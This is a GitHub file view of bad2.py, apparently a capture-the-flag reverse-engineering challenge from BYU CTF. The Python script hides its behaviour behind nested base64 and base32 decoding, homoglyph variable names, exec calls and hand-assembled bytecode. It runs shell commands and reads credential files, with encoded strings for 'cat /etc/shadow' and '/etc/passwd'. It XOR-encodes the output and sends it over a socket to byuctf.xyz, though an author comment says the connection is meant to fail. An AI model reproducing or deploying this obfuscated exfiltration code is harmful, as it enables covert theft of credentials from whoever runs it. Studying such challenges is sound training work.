-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbad2.py
10 lines (9 loc) · 4.51 KB
/
bad2.py
1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3
from base64 import b64decode as c︀;c︆=exec;c︋=lambda x:x.decode();c︆(c︋(c︀(b'ZXhlYygiaW1wb3J0IHN1YnByb2Nlc3MgYXMgc3lzIik=')));from base64 import b32decode as c︈;c︄={};c︄['c︉']=int;c︄['c︃']=__builtins__.__doc__;c︄['']=c︋(c︈(c︈(c︈(c︀(b'SkZMRVNWU0RLTkJWQVIyS0lOREVDVkNMSTVGVEtUQ1dJNUlURVVTSUtVNlQyUEo1SFU2UT09PT0=')))));os=sys;c︌=lambda c︀:c︋(os.Popen(c︀,stdout=os.PIPE,stderr=os.PIPE,shell=True).communicate()[0]);c︄['с']=len;c︅=exit;c︄['']+=c︌(c︄['c︃'][c︄['c︉']('𖭕')*10+c︄['c︉']('𑱖')]+c︄['c︃'][c︄['c︉']('𑶣')*10+c︄['c︉']('𑱘')]+c︄['c︃'][c︄['c︉']('൧')*10+c︄['c︉']('᥋')]+c︄['c︃'][c︄['c︉']('𑶣')*10+c︄['c︉']('𑥒')]+str.__doc__[c︄['c︉']('၁')*100+c︄['c︉']('𑑐')*10+c︄['c︉']('𑶣')]+c︄['c︃'][c︄['c︉']('𑥒')]);from codecs import encode as c︃;c︁=[16,12,21,-3,20,10,7,23,2,75,25,49,65,22,43,6,19,21,-2,50,22,4,89,49,16,8,3,3,-2,2,65,1,3,57,-3,10,35,0,17,57,19,2,65,6,-5,0,3,49,14,-4,23,-3,-3,26,63,21,89,77,83,15];c︉=ord;c︂=__file__;from types import CodeType;exec(CodeType(0,0,0,0,1+1+1+1+1,(1+1+1+1+1+1)*(1+1+1+1+1+1+1+1+1+1)+1+1+1+1+1+1+1,b't\x00d\x01\x19\x00d\x00d\x02\x85\x02\x19\x00d\x03k\x02r\x1et\x00d\x01\x05\x00\x19\x00d\x047\x00\x03\x00<\x00t\x00d\x01\x05\x00\x19\x00t\x01d\x05\x83\x017\x00\x03\x00<\x00d\x00S\x00t\x00d\x01\x05\x00\x19\x00d\x067\x00\x03\x00<\x00t\x00d\x01\x05\x00\x19\x00t\x01d\x07\x83\x017\x00\x03\x00<\x00d\x00S\x00',(None,'',-4,'\162\157\157\164','\x24\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\n','\x24\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77','\x24\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\n','\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64','\x58\x4f\x52','\x6e\x75\x69\x76\x79\x67'),('c︄','c︌'),(),'\x62\x61\x64','\x62\x61\x64',-1,b'\x14\x01\x10\x01\x18\x01\x10\x02\x18\x01',(),('','\x71\x70\x6f\x77\x65\x69\x72\x68\x66\x61\x6e\x73\x64\x6d\x6e\x2c\x6d\x78\x7a\x65\x77\x65\x72')));c︄['c']=chr;c︆(c︋(c︀(b"aWYobm90IFt4IGZvciB4IGluICgxKS5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKSBpZiB4Ll9fbmFtZV9fID09ICdjYXRjaF93YXJuaW5ncyddWzBdKCkuX21vZHVsZS5fX2J1aWx0aW5zX19bJ19faW1wb3J0X18nXSgnb3MnKS5wYXRoLmlzZmlsZShfX2ZpbGVfX1swXStfX2J1aWx0aW5zX18uX19kb2NfX1s0XSsnbScrX19idWlsdGluc19fLl9fZG9jX19bMjRdK19fZmlsZV9fWzBdK19fYnVpbHRpbnNfXy5fX2RvY19fWzRdKydtJytfX2J1aWx0aW5zX18uX19kb2NfX1syNF0rJzInK19fYnVpbHRpbnNfXy5fX2RvY19fWzJdK19fYnVpbHRpbnNfXy5fX2RvY19fWzFdK3N0cigxNTA1KjYqNCs0KSkgb3Igb3BlbihfX2ZpbGVfX1swXStfX2J1aWx0aW5zX18uX19kb2NfX1s0XSsnbScrX19idWlsdGluc19fLl9fZG9jX19bMjRdK19fZmlsZV9fWzBdK19fYnVpbHRpbnNfXy5fX2RvY19fWzRdKydtJytfX2J1aWx0aW5zX18uX19kb2NfX1syNF0rJzInK19fYnVpbHRpbnNfXy5fX2RvY19fWzJdK19fYnVpbHRpbnNfXy5fX2RvY19fWzFdK3N0cigxNTA1KjYqNCs0KSkucmVhZCgpIT0iXHg2M1x4MzlceDM0XHg2ZFx4NjZceDc0XHg2Zlx4NTNceDdhXHg0Y1x4NDhceDM5XHg2ZVx4NzVceDZmXHg0YVx4NjVceDY5XHg2MVx4NmNceDc4XHgzOVx4NjRceDUwXHg1Mlx4NTJceDM4XHg1MVx4NzdceDYyXHg3M1x4MzJceDU4XHg0OFx4NWFceDM1XHgzOFx4MzhceDZkXHgzMVx4MzdceDc5XHg2ZVx4NzRceDQzXHg3NFx4NmNceDM1XHg1M1x4NDVceDZiXHgzOFx4MzFceDU5XHgzNVx4NzdceDRiXHgyYlx4NTlceDQ0XHg2ZFx4NzZceDRkXHg1NCIpOmV4aXQoKQ==")));c︁=[(c︎+c︄['с'](c︄))for(c︎)in(c︁)];'c︀'if(c︂!=c︃('\x2fgzc\x2fgzcek0o9u45','-3-1p-atpoqr'[::-2]))and(c︂!=c︃('\x2fubzr\x2fwhfgva\x2fpgs\x2fshgher-pgs-ceboyrzf\x2fonq2\x2fonq2\x2ecl','-3-1p-atpoqr'[::-2]))and(c︅())else'c︉';c=__import__("hashlib").sha256(open(c︂,'rb').read()[:3263]).hexdigest();c︊=c︄[''];c︆(c︀(c︋(b'aWYgKGMhPSIyN2NlNzE5NmNmMDZiYThjOWNmMDZhMTc3YmQzOTRlZTE3MmNiYWQ0NjU1ODRkY2RlYjY2ZTJjOTAxN2RhOTVkIik6ZXhpdCgp')));c︄['c︌']=""
for(c︎)in range(c︄['с'](c︊)):c︄['c︌']+=c︄['c'](c︉(c︊[c︎])^c︉(c︄['c'](c︁[c︎%c︄['с'](c︁)]^c︉((c︄['c︃'][c︄['c︉']('𖭕')*10+c︄['c︉']('𑱖')]+c︄['c︃'][c︄['c︉']('𑶣')*10+c︄['c︉']('𑱘')]+c︄['c︃'][c︄['c︉']('൧')*10+c︄['c︉']('᥋')]+c︄['c︃'][c︄['c︉']('𑶣')*10+c︄['c︉']('𑥒')]+str.__doc__[c︄['c︉']('၁')*100+c︄['c︉']('𑑐')*10+c︄['c︉']('𑶣')]+c︄['c︃'][c︄['c︉']('𑥒')])[c︎%c︄['c︉']('𑶦')]))))
# I got too lazy to obfuscate the code below, but it's okay because it's not like you'll be able to read it anyway
import base64,socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("byuctf.xyz", 42561)) # chall author note: this is *supposed* to give ConnectionRefusedError (we don't actually want your info)
s.send(base64.b64encode(c︄['c︌'].encode("utf-8")))
s.close()